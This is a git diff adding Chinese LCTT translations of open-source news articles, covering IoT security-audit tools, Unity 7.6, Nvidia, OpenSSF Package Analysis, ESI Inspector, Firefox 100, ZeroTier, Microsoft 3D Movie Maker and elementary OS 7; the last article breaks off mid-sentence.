+#### Routersploit + +[这个](https://github.com/threat9/routersploit) 针对嵌入式设备的开源开发框架具有多个用于渗透测试和安全审计的功能和模块: + +* Exploits —— 漏洞评估 +* Creds —— 网络服务和证书的测试 +* Scanners —— 对目标进行详细的安全审计 +* Payloads —— 有效载荷和注入关键点的生成 +* Generic —— 执行和测试攻击 + +#### Wireshark + +[Wireshark](https://www.wireshark.org) 是一款功能丰富的、免费的网络协议分析器。MQTT 等多种物联网协议可通过该工具实现有效分析。为了发现弱点,可以根据协议配置安全规则并检查流量。可以使用 `tcpdump` 通过命令行访问网络数据包分析器。此类工具用于检查物联网设备和网络之间交换的数据包。 + +#### Binwalk + +[Binwalk](https://www.kali.org/tools/binwalk) 是一种逆向硬件设计的工具。它是 Kali Linux 的关键组件之一,用于渗透测试、服务器指纹识别、安全审计和取证应用。 + +#### Firmwalker + +[Firmwalker](https://github.com/craigz28/firmwalker) 是一款自由开源的工具,用于搜索和扫描固件文件系统,无论是否被提取或挂载。使用这个工具可以做一个详细的安全审计。 + +在物联网(IoT)和万物互联(IoE)的时代,有必要设计并使用高性能工具包进行渗透测试和安全审计。随着物联网设备数量的增加,安全风险也在增加。为了物联网和万物互联部署有更高级别的安全和隐私,有必要根据最新的协议和动态的流量定制化自由及开源的工具箱和软件包。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/tools-you-can-use-for-the-security-audit-of-iot-devices/ + +作者:[Dr Kumar Gaurav][a] +选题:[lkxed][b] +译者:[tendertime](https://github.com/tendertime) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/dr-gaurav-kumar/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Screenshot-2022-05-02-154427-696x422.png +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Figure-1-Key-components-in-PENIOT.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Screenshot-2022-05-02-153653-590x282.png diff --git a/published/202205/20220502 Ubuntu’s Unity Desktop Still Lives- Version 7.6 is Available for Testing After 6 Years.md b/published/202205/20220502 Ubuntu’s Unity Desktop Still Lives- Version 7.6 is Available for Testing After 6 Years.md new file mode 100644 index 0000000000..a9fe894358 --- /dev/null +++ b/published/202205/20220502 Ubuntu’s Unity Desktop Still Lives- Version 7.6 is Available for Testing After 6 Years.md @@ -0,0 +1,88 @@ +[#]: subject: "Ubuntu’s Unity Desktop Still Lives: Version 7.6 is Available for Testing After 6 Years" +[#]: via: "https://news.itsfoss.com/unity-7-6-testing/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "imgradeone" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14538-1.html" + +Ubuntu 的 Unity 桌面还活着:时隔 6 年后,7.6 测试版发布 +====== + +> 虽然 Canonical 已经不再维护 Unity 桌面,但 Ubuntu Unity 的开发者承担了这项重任,发布了一项主要更新(已可用于测试)。 + +![Unity 7.6][1] + +怕你兴奋过头了,先提醒一下,Canonical 并没有回归 Unity 桌面的维护。 + +得益于 Ubuntu Unity 发行版开发者(Rudra Saraswat)的不懈努力,时隔 6 年,我们终于看到了 Unity 桌面环境的更新。 + +补充说一下,[Ubuntu Unity][2] 是一款采用 Unity 桌面(而不是 GNOME)的社区项目。因此,如果你想在 Ubuntu 22.04 LTS 上使用 Unity 桌面,那么毋庸置疑,[Ubuntu Unity][2] 绝对是你的最佳伙伴。 + +起初,它仅仅提供了经过微调的 Unity 体验,但现在,**Unity 7.6** 的界面得到了一些优化及视觉变更。 + +下面是你应该了解的东西: + +### Unity 7.6:更新了什么? + +> **提示**:Unity 7.6 是为公共测试而发布的,它不应作为替代其他桌面环境的使用环境。 + +这不仅仅是面向用户的改进,还有针对开发方面的努力,旨在帮助贡献者,让他们更方便地帮助 Unity7 的开发。 + +这些改善包括: + +#### 用户界面变更 + +![Unity 桌面][3] + +Dash 启动器(应用启动器)与 HUD 现已重新设计,拥有更现代、简洁的视觉。 + +总的来看,现在的设计看上去更加扁平,但仍旧保留了不错的系统全局模糊效果。 + +本次引入了一些细微的视觉改进,比如停靠区上的“清空回收站”按钮修改为使用 Nemo(而不是 Nautilus),以及修复了 Dash 预览中的应用详情与评分。 + +#### 性能改进 + +![Unity 桌面][4] + +在最新的更新中,Unity7 的内存使用量更低,同时你也可以注意到,Ubuntu Unity 22.04 的内存使用量明显降低到约 700-800 MB。 + +此外,低端显卡模式现在运作得更好,Dash 也比以前更快。 + +#### 其他变化 + +Unity7 Shell 的源代码已经完全迁移至 [GitLab][5]。用于独立测试的 Unity7 启动器已被修复,同时一些有问题的测试项也已被禁用,改善了构建用时(使其大幅缩短)。 + +发布说明上说,这些改进将帮助 Unity7 的贡献者。 + +### 测试 Unity 7.6 + +你可以按照 [官方测试公告][6] 中提到的方式来编译它,并亲自尝试。你也可以前往其官方网站探索更多。 + +> **[Unity 7.6][7]** + +另一种情况,如果你不想添加测试 PPA 源,你也可以等待 Ubuntu Unity 22.04 的更新。 + +*你对 Unity 桌面环境的这次更新有什么看法?你喜欢它吗?欢迎在评论区中告诉我你的想法。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/unity-7-6-testing/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[imgradeone](https://github.com/imgradeone) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/unity-7-6-release.jpg +[2]: https://ubuntuunity.org/ +[3]: https://news.itsfoss.com/wp-content/uploads/2022/05/unity-7-6.jpg +[4]: https://news.itsfoss.com/wp-content/uploads/2022/05/neofetch-unity-7-6.png +[5]: https://gitlab.com/ubuntu-unity +[6]: https://unity.ubuntuunity.org/blog/unity-7.6/ +[7]: https://unity.ubuntuunity.org/ \ No newline at end of file diff --git a/published/202205/20220503 Nvidia Begins To Set The Foundation For Future Open And Parallel Coding.md b/published/202205/20220503 Nvidia Begins To Set The Foundation For Future Open And Parallel Coding.md new file mode 100644 index 0000000000..f34517d297 --- /dev/null +++ b/published/202205/20220503 Nvidia Begins To Set The Foundation For Future Open And Parallel Coding.md @@ -0,0 +1,44 @@ +[#]: subject: "Nvidia Begins To Set The Foundation For Future Open And Parallel Coding" +[#]: via: "https://www.opensourceforu.com/2022/05/nvidia-begins-to-set-the-foundation-for-future-open-and-parallel-coding/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "zxcv545" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14565-1.html" + +英伟达开始着手为未来的开放和并行编程建立基础 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/09/080227sdxqcd3rxooc3cq3.jpg) + +随着图形处理器在计算机里变得越来越常见,英伟达正在扩大与标准和开源社区的合作,以便于包括先前仅限于该公司开发工具的下游技术。虽然人们在 C++ 和 Fortran 等语言上投入了大量精力,但这些语言被认为在高度并行的计算机上执行代码落后于原生实现的编程语言。 + +英伟达结合了开放和专有库的 CUDA 并行编程框架影响了许多正在开放和主流化的技术。在 2007 年,CUDA 作为一个为程序员开发基于 GPU 的系统的一系列编程工具和框架而推出。然而,随着 GPU 利用率在更多应用程序和领域中的增长,CUDA 理念发生了转变。 + +英伟达因其在 GPU 上的主导地位而广为人知,但 CUDA 是这家以 1 万亿市值为目标的软件和服务供应商重塑品牌的核心。英伟达的长期目标是成为一个全栈提供商,专注于自动驾驶、量子计算、医疗保健、机器人、网络安全和量子计算等特定领域。 + +英伟达已经在特定领域创建了专用的 CUDA 库,以及企业可以使用的硬件和服务。其 CEO 黄仁勋在最近的 GPU 技术大会上宣布的 “AI 工厂” 概念,最能体现全栈战略。客户可以将应用程序放入英伟达的大型数据中心,从而获得针对特定行业或应用程序需求量身定制的定制 AI 模型。 + +英伟达可以通过两种方式从 AI 工厂原则中受益:利用 GPU 容量或利用特定领域的 CUDA 库。在英伟达 GPU 上,程序员可以使用 OpenCL 等开源并行编程框架。另一方面,CUDA 将为那些愿意投资的人提供额外的最后一英里增长,因为其已调整为与英伟达的 GPU 密切运作。 + +虽然并行编程在高性能计算中很常见常见,但英伟达的目标是让其成为主流计算的标准。该公司正在协助实现一流工具的标准化,无论品牌、加速器类型或并行编程框架是什么,都可以编写可跨硬件平台移植的并行代码。 + +一方面,英伟达是 C++ 小组的成员,该小组正在为跨硬件同时执行可移植代码奠定基础。上下文可以是主要执行 IO 的 CPU 线程,也可以是执行高要求计算的 CPU 或 GPU 线程。英伟达特别致力于为 C++ 程序员提供异步和并行的标准语言和基础设施。 + +第一项工作侧重于内存模型,该模型已合并到 C++ 11 中,但当并行性和并发性变得更加普遍时,必须对其进行更新。C++ 11 的内存模型强调跨多核 CPU 的并发执行,但它缺乏并行编程钩子。C++ 17 标准为更高级别的并行特性奠定了基础,但真正的可移植性必须等待未来的标准。C++ 20 是当前标准,而 C++ 23 即将推出。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/nvidia-begins-to-set-the-foundation-for-future-open-and-parallel-coding/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[zxcv545](https://github.com/zxcv545) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Nvidia_logo_angled_shutterstock.jpg diff --git a/published/202205/20220503 Package Analysis Examines Packages In Open Source Repositories In Real Time.md b/published/202205/20220503 Package Analysis Examines Packages In Open Source Repositories In Real Time.md new file mode 100644 index 0000000000..fddd59ec76 --- /dev/null +++ b/published/202205/20220503 Package Analysis Examines Packages In Open Source Repositories In Real Time.md @@ -0,0 +1,38 @@ +[#]: subject: "Package Analysis Examines Packages In Open Source Repositories In Real Time" +[#]: via: "https://www.opensourceforu.com/2022/05/package-analysis-examines-packages-in-open-source-repositories-in-real-time/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14578-1.html" + +软件包分析项目实时检查开源仓库中的包 +====== + +![openssf-logo][1] + +开源安全基金会(OpenSSF)发布了一个新工具的测试版,它可以对发布到著名开源仓库的所有软件包进行动态分析。软件包分析项目试图通过识别任何恶意行为并警告用户来保护开源软件包,目的是增强对开源软件的信任并加强软件供应链的安全性。 + +OpenSSF 说:“软件包分析项目旨在了解开源仓库上可用软件包的行为和功能:它们访问哪些文件,它们连接到哪些地址,以及它们运行哪些命令?” + +该基金会的 Caleb Brown 和 David A. Wheeler 补充说:“该项目还跟踪软件包随时间的行为变化,以确定以前安全的软件何时开始出现可疑行为。” + +该程序在为期一个月的测试运行中发现了 200 多个发布到 PyPI 和 NPM 的恶意软件包,其中大多数流氓库依赖于依赖混淆和仿冒攻击。谷歌是 OpenSSF 的成员,它支持软件包分析计划,强调“在发布软件包之前审查软件包以确保用户安全”的重要性。 + +去年,该公司的开源安全团队提出了软件工件的供应链级别(SLSA)架构,以验证软件包的完整性并防止未经授权的更改。这一发展是在开源生态系统越来越多地被武器化,用加密货币矿工和数据窃贼等恶意软件攻击开发者的情况下进行的。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/package-analysis-examines-packages-in-open-source-repositories-in-real-time/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/openssf-logo-696x418.jpg diff --git a/published/202205/20220504 ESI Group Collaborates With ENSAM, Open Sources Its “Inspector” Software.md b/published/202205/20220504 ESI Group Collaborates With ENSAM, Open Sources Its “Inspector” Software.md new file mode 100644 index 0000000000..8a254f3861 --- /dev/null +++ b/published/202205/20220504 ESI Group Collaborates With ENSAM, Open Sources Its “Inspector” Software.md @@ -0,0 +1,40 @@ +[#]: subject: "ESI Group Collaborates With ENSAM, Open Sources Its “Inspector” Software" +[#]: via: "https://www.opensourceforu.com/2022/05/esi-group-collaborates-with-ensam-open-sources-its-inspector-software/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "Veryzzj" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14571-1.html" + +ESI 集团同 ENSAM 合作,开源其 Inpsector 软件 +====== + +![software][1] + +Inspector 是一个可视化的交互式数据探索软件,能够对海量数据进行分析并提取相关信息,可用于预测性维修、网络安全、控制、机器学习算法分析等。 + +通过让更多的人使用 Inspector 软件,让他们能够合作开发可靠灵活的方案,以解决社区的技术问题和特殊需求,ESI 集团增加了对工业界和学术界的贡献。 + +作为 ESI 集团和 ENSAM 之间持续赞助合作和共创伙伴关系的一部分,将由 ENSAM(巴黎高科国立高等工程技术大学Ecole Nationale Supérieure d’Arts et Métiers)领导 Inspector 的增长和扩展。通过共同参与建设由新加坡国家科学研究中(CNRS)协调的 Descartes 计划、CREATE-ID 国际研究讲座以及 ESI – ENSAM 虚拟工程实验室,双方加强了合作。 + +这种开源方式有许多好处。首先,社区能够以最有效的方式使用该软件,科学界能够从根据用户需求定制的新功能以及安全方面的改进中受益。其次,ESI 集团希望提供一个从软件中获利机会,包括汽车及航空在内的各种行业的客户已经证明了这一软件的可靠性。由于许多利益相关者的参与,Inspector 将持续发展以应对社区需求。 + +ESI 集团打算将其数据分析软件开源发布,得到了一些行业领导者和 Inspector 用户的兴趣和支持,例如 CNS 就是其中一例。 + +CNS 的总经理 Stephane Perrin 表示:“ESI 集团这一决定证明了集团的先进技术对创新和科学生态系统的贡献。CNS 作为一家网络与安全的专业公司,我们用行动支持 Inspector 的未来。除了将 Inspector 集成到我们的持续网络审计软件套件中外,不久后我们还将通过我们创新解决方案的业务部门为该软件提供支持。” + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/esi-group-collaborates-with-ensam-open-sources-its-inspector-software/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[Veryzzj](https://github.com/Veryzzj) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/software-696x371.jpg diff --git a/published/202205/20220504 Firefox 100 Marks 17 Years of Development with Interesting Upgrades.md b/published/202205/20220504 Firefox 100 Marks 17 Years of Development with Interesting Upgrades.md new file mode 100644 index 0000000000..ea6e5793ca --- /dev/null +++ b/published/202205/20220504 Firefox 100 Marks 17 Years of Development with Interesting Upgrades.md @@ -0,0 +1,112 @@ +[#]: subject: "Firefox 100 Marks 17 Years of Development with Interesting Upgrades" +[#]: via: "https://news.itsfoss.com/firefox-100-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14555-1.html" + +Firefox 100 发布:带来诸多有趣更新,纪念 17 年的发展历程 +====== + +> Mozilla Firefox 100 是一个重要的版本,它标志着这个浏览器 17 年的发展,以及多年来所有令人兴奋的功能。 + +![Firefox 100][1] + +Firefox 可以说是最受欢迎的不基于 Chrome 的开源浏览器,它可用于 Linux、Windows 和 Mac。 + +众所周知,目前,基于 Chrome 的浏览器在市场份额中占主导地位。但你可能不知道的是,Firefox 早在谷歌 Chrome 出现之前就已经问世了。 + +准确地说,Firefox 100 的发布标志着,它自 2004 年的发展历程已经有 17 年了。 + +时间过得好快,一切仿佛就发生在昨天。 + +### Firefox 100:更新内容 + +![Firefox 100][2] + +不管你是否喜欢 Firefox 新的发展计划,你都不得不承认,它多年来引入了众多行业领先的功能/技术,这一点令人印象深刻。 + +Firefox 100 的发布是一个重要的里程碑。但是,这并不是一次大规模升级。 + +本文中,我将介绍这个版本的主要改进。 + +#### “画中画”模式改进 + +![Firefox 100][3] + +现在,在“画中画”模式下观看 YouTube、Prime Video 和 Netflix 上的任何内容,Firefox 都支持视频字幕。 + +你只需要在相应的平台上启用视频字幕,它就会继续出现在“画中画”中。 + +“画中画”字幕不仅支持主流平台,还支持 Coursera 等使用 WebVTT 格式的网站。 + +#### 语言检测 + +为了改善用户体验,Firefox 现在可以检测到语言与操作系统偏好不符的情况。 + +这只会在你安装浏览器后,第一次运行时触发。你可以在系统语言和浏览器默认语言之间进行选择。 + +#### 滚动条默认不占用屏幕空间 + +Linux 和 Windows 11 的滚动条默认不会占用你宝贵的屏幕空间。换句话说,当你进行滚动或导航时,滚动条才会做出反应。 + +![Firefox 100][4] + +你可以在设置中改变这一点(针对 Linux 用户)。如果你是在 Windows 上,Firefox 的视觉效果会跟随你的系统设置。因此,你需要对 Firefox 浏览器进行调整,以符合你自己的偏好。 + +#### 控制网站外观 + +![Firefox 100][5] + +对于某些网站,你的浏览器偏好会影响网页的颜色/外观。 + +为了调整这类网站的体验,你现在可以在设置中设置网站外观偏好,选择浅色/深色、系统或 Firefox 主题。 + +#### HDR 视频 & 硬件加速的 AV1 视频解码 + +尽管,对一些用户来说,支持 HDR 视频可能不是什么大事。但我还是要指出,现在 Mac 上的 Firefox 也支持 HDR 了。 + +截至目前,官方支持仅限于在 macOS 11+ 上浏览 YouTube 网站。当然,你还需要一个支持 HDR 的屏幕。 + +硬件加速的 AV1 视频解码终于在 Windows 上得到支持,当然,你还得有与之兼容的 GPU(包括英特尔 11 代、AMD RDNA 2 和 GeForce 30 系列)。除此之外,Firefox 在 Windows 上还启用了视频叠加功能,以减少电量使用。 + +不幸的是,这些并不是针对 Linux 的更新,但应该能帮助跨平台的 Firefox 用户。 + +#### 其他改进 + +除了主要的亮点之外,它还包括了以下改进: + +* 增加了对多个 Java 线程的分析支持。 +* 软重载一个网页将不再导致所有资源的重新验证。 +* 有了一个新的链接焦点指示器,它用一个实心的蓝色轮廓取代了旧的点状轮廓。 + +你可以在 [官方发布说明][6] 中了解更多技术变化。 + +### 获取 Firefox 100 + +你可以从它的官网上下载,也可以寻找可用的更新,应该很快就能下载完成。 + +> **[Mozilla Firefox 100][7]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/firefox-100-release/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/firefox-100-release.jpg +[2]: https://news.itsfoss.com/wp-content/uploads/2022/05/firefox-100-about.jpg +[3]: https://news.itsfoss.com/wp-content/uploads/2022/05/firefox-captions-100.jpg +[4]: https://news.itsfoss.com/wp-content/uploads/2022/05/scrollbars.jpg +[5]: https://news.itsfoss.com/wp-content/uploads/2022/05/firefox-appearance-tweak.jpg +[6]: https://www.mozilla.org/en-US/firefox/100.0/releasenotes/ +[7]: https://www.mozilla.org/en-US/firefox/download/ \ No newline at end of file diff --git a/published/202205/20220504 How I manage my own virtual network with ZeroTier.md b/published/202205/20220504 How I manage my own virtual network with ZeroTier.md new file mode 100644 index 0000000000..df9c169ab3 --- /dev/null +++ b/published/202205/20220504 How I manage my own virtual network with ZeroTier.md @@ -0,0 +1,88 @@ +[#]: subject: "How I manage my own virtual network with ZeroTier" +[#]: via: "https://opensource.com/article/22/5/zerotier-network" +[#]: author: "Kevin Sonney https://opensource.com/users/ksonney" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14573-1.html" + +ZeroTier:你自己的虚拟骨干网 +====== + +> ZeroTier 是一个加密的虚拟骨干网,允许多台机器像在一个网络上一样通信。 + +![](https://img.linux.net.cn/data/attachment/album/202205/10/170306m9263ud6wu23ul3e.jpg) + +*自动化是现在的一个热门话题。在我作为网站可靠性工程师(SRE)的日常工作中,我的部分职责是将尽可能多的重复性任务自动化。但是我们当中有多少人在日常生活、非工作生活中这样做呢? 今年,我专注于自动化工作,以便我们可以专注于重要的事情。* + +在实现一切自动化的同时,我在一些远程站点上遇到了困难。我不是一个网络专家,所以我开始研究我的选择。在研究了各种虚拟专用网络(VPN)、硬件端点、防火墙规则以及支持多个远程站点的所有东西后,我感到困惑、暴躁,并对这一切的复杂性感到沮丧。 + +然后我发现了 [ZeroTier][4]。ZeroTier 是一个加密的虚拟骨干网,允许多台机器像在一个网络上一样通信。代码全部是开源的,你可以自行托管控制器,或者使用 [ZeroTierOne][5] 服务,有免费或付费计划。我现在使用的是它们的免费计划,它很强大、可靠,而且非常稳定。 + +因为我使用的是 Web 服务,所以我不打算详细介绍运行控制器和根服务。ZeroTier 在他们的 [文档][6] 中对如何做到这一点有完整的参考,而且非常好。 + +在 Web 用户界面中创建了我自己的虚拟网络之后,客户端的安装几乎是微不足道的。ZeroTier 有 APT、RPM、FreeBSD 和许多其他平台的软件包,所以让第一个节点上线不需要什么努力。 + +安装完毕后,客户端就会连接到控制器服务,并为节点生成一个唯一的 ID。在 Linux 上,你使用 `zerotier-cli` 命令来加入一个网络,使用 `zerotier-cli join NETWORKID` 命令: + +``` +$ sudo zerotier-cli info +200 info 469584783a 1.x.x ONLINE +``` + +你也可以使用 `zerotier-cli` 来获得连接和可用节点的列表,改变网络设置,以及离开网络。 + +![Image of Setting up a New Node][7] + +在加入一个网络后,你必须批准该节点的访问,可以通过网络控制台或调用应用程序编程接口(API)。这两种方法在 ZeroTier 网站上都有文档说明。连接两个节点后,无论你身在何处或位于防火墙的哪一侧,你都可以相互连接,就像你们在同一个建筑的同一个网络中。我的主要用例之一是 [远程访问我的家庭助理环境][8],而不需要打开防火墙端口或将其暴露在互联网上(关于我的家庭助理设置和相关服务的更多信息,见后文)。 + +我自己做的一件事是为内部 DNS 设置了一个 [Beta ZeroNDS 服务][9]。这为我管理自己的名称服务或为我所有的私人主机和 IP 地址创建公共记录减少了很多复杂性。我发现操作说明非常简单直白,并且能够在大约 5 分钟内为我的私人网络建立一个 DNS 服务器。每个客户端必须允许 Zerotier 设置 DNS,这在 GUI 客户端中非常简单。要使它在 Linux 客户端上使用,请使用: + +``` +$ sudo zerotier-cli setNETWORKID allowDNS=1 +``` + +在你添加和删除主机时,不需要其他更新,它“就能工作”。 + +``` +$ sudo zerotier-cli info +200 info 469584845a 1.x.y ONLINE +$ sudo zerotier-cli join +93afae596398153a 200 join OK +$ sudo zerotier-cli peers +200 peers + +61d294b9cb - PLANET 112 DIRECT 7946 2812 50.7.73.34/9993 +62f865ae71 - PLANET 264 DIRECT 7946 2681 50.7.76.38/9993 +778cde7190 - PLANET 61 DIRECT 2944 2901 103.195.13.66/9993 +93afae5963 1.x LEAF 77 DIRECT 2945 2886 35.188.31.177/41848 +992fcf1db7 - PLANET RECT 79124 DI47 2813 195. 181.173.159/9993 +``` + +我只提到了它所有功能的表面。ZeroTier 还允许在 ZeroTier 网络之间建立桥接、高级路由规则等。它们甚至有一个 [Terraform 提供者][10] 和一个 [很棒的 Zerotier 资源][11] 清单。到今天为止,我正在使用 ZeroTier 连接四个物理站点的机器,其中三个在 NAT 防火墙后面。Zerotier 的设置很简单,而且管理起来几乎完全不费力。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/zerotier-network + +作者:[Kevin Sonney][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ksonney +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/coffee_tea_laptop_computer_work_desk.png +[2]: https://unsplash.com/@jonasleupe?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/tea-cup-computer?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://github.com/zerotier +[5]: https://www.zerotier.com/pricing +[6]: https://docs.zerotier.com +[7]: https://opensource.com/sites/default/files/2022-04/SecondDay02-2.png +[8]: https://opensource.com/article/22/5/remote-home-assistant +[9]: https://github.com/zerotier/zeronsd +[10]: https://github.com/zerotier/terraform-provider-zerotier +[11]: https://github.com/zerotier/awesome-zerotier diff --git a/published/202205/20220504 Microsoft’s 3D Movie Maker, First Released In 1995, Is Now Open Source.md b/published/202205/20220504 Microsoft’s 3D Movie Maker, First Released In 1995, Is Now Open Source.md new file mode 100644 index 0000000000..bc51103067 --- /dev/null +++ b/published/202205/20220504 Microsoft’s 3D Movie Maker, First Released In 1995, Is Now Open Source.md @@ -0,0 +1,43 @@ +[#]: subject: "Microsoft’s 3D Movie Maker, First Released In 1995, Is Now Open Source" +[#]: via: "https://www.opensourceforu.com/2022/05/microsofts-3d-movie-maker-first-released-in-1995-is-now-open-source/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14549-1.html" + +微软 1995 年首次发布的 3D Movie Maker 现已开源 +====== + +![Windows Movie Maker 标志][1] + +这些年来,微软发布了许多开源工具。今天,它正在翻箱底,让 3D Movie Maker 也对所有人开放。3D Movie Maker 于 1995 年首次推出,它允许你用 3D 人物、道具、背景、文字、声音和特殊效果来创建动画场景。这个版本还包括一个 Argonaut 软件公司构建的 BRender。虽然这是一个积极的举措,但请先别太激动,事情可没那么容易。 + +> “这个项目不太可能在现代硬件/软件下构建成功,但你可以先开始编译,并获得部分完整的二进制文件。” + +以下是它的部分构建说明: + +- 确保本仓库检出到一个名字简短的目录中,最好是靠近驱动器的根路径(即 `C:\3d` 这样)。 +- 在构建过程中,你需要 Visual C++ 2.0 的开发工具(可以在安装盘的 `MSVC20BIN` 目录下找到)。有一些源码遵循的是 C++98 之前的规范,因此现代编译器可能不会喜欢它们。 +- 从本仓库的根目录下运行 `setvars.bat`。你可以改变这个脚本中的值来改变你的构建目标。 +- 查找并安装字体文件(详见 `FONTS.md`)。 +- 运行 `nmake` 以开始使用 3D Movie Maker。 + +这些代码是从微软公司的档案中恢复的,涉及到的第三方软件(如 BRender)已获得授权。同时,它删除了开发者的身份和别名,以便使该软件开源(从事原始发布工作的微软现任员工除外,他们同意保留自己的名字)。你可以在 [这里][2] 下载它。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/microsofts-3d-movie-maker-first-released-in-1995-is-now-open-source/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/windows-movie-maker-logo-696x392.png +[2]: https://github.com/microsoft/Microsoft-3D-Movie-Maker diff --git a/published/202205/20220504 elementary OS 7 Code Name Revealed. Here are the Details.md b/published/202205/20220504 elementary OS 7 Code Name Revealed. Here are the Details.md new file mode 100644 index 0000000000..c7bc93e4f1 --- /dev/null +++ b/published/202205/20220504 elementary OS 7 Code Name Revealed. Here are the Details.md @@ -0,0 +1,57 @@ +[#]: subject: "elementary OS 7 Code Name Revealed. Here are the Details" +[#]: via: "https://www.debugpoint.com/2022/05/elementary-os-7-announcement/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14556-1.html" + +elementary OS 7 公布了它的代号 +====== + +> 在今天早些时候的一篇博文中,创始人兼首席执行官 Daniella Fore 公布了 elementary OS 7 的发行说明和计划更新。 + +![](https://img.linux.net.cn/data/attachment/album/202205/07/085713izkxhbarixtkdryg.jpg) + +### elementary OS 7 公告 + +elementary OS 7 的代号是 “Horus”,它将基于 [Ubuntu 22.04 LTS][2]。这个版本的开发已经接近尾声,团队正在修复一些涉及窗口管理器和其他领域的关键回归测试问题。 + +首先,功能方面,elementary OS 7 得到了来自 **Ubuntu 22.04 LTS 的最新软件包和升级**。此外,**Flatpak 运行时更新、Granite 7、样式表和图标更新** 预计将在这个发行版的第 7 个版本中出现。它将会基于 [Linux 5.15.x 内核][3]。 + +其次,应用商店中的软件将会获得 **软件自动更新功能** 和新的 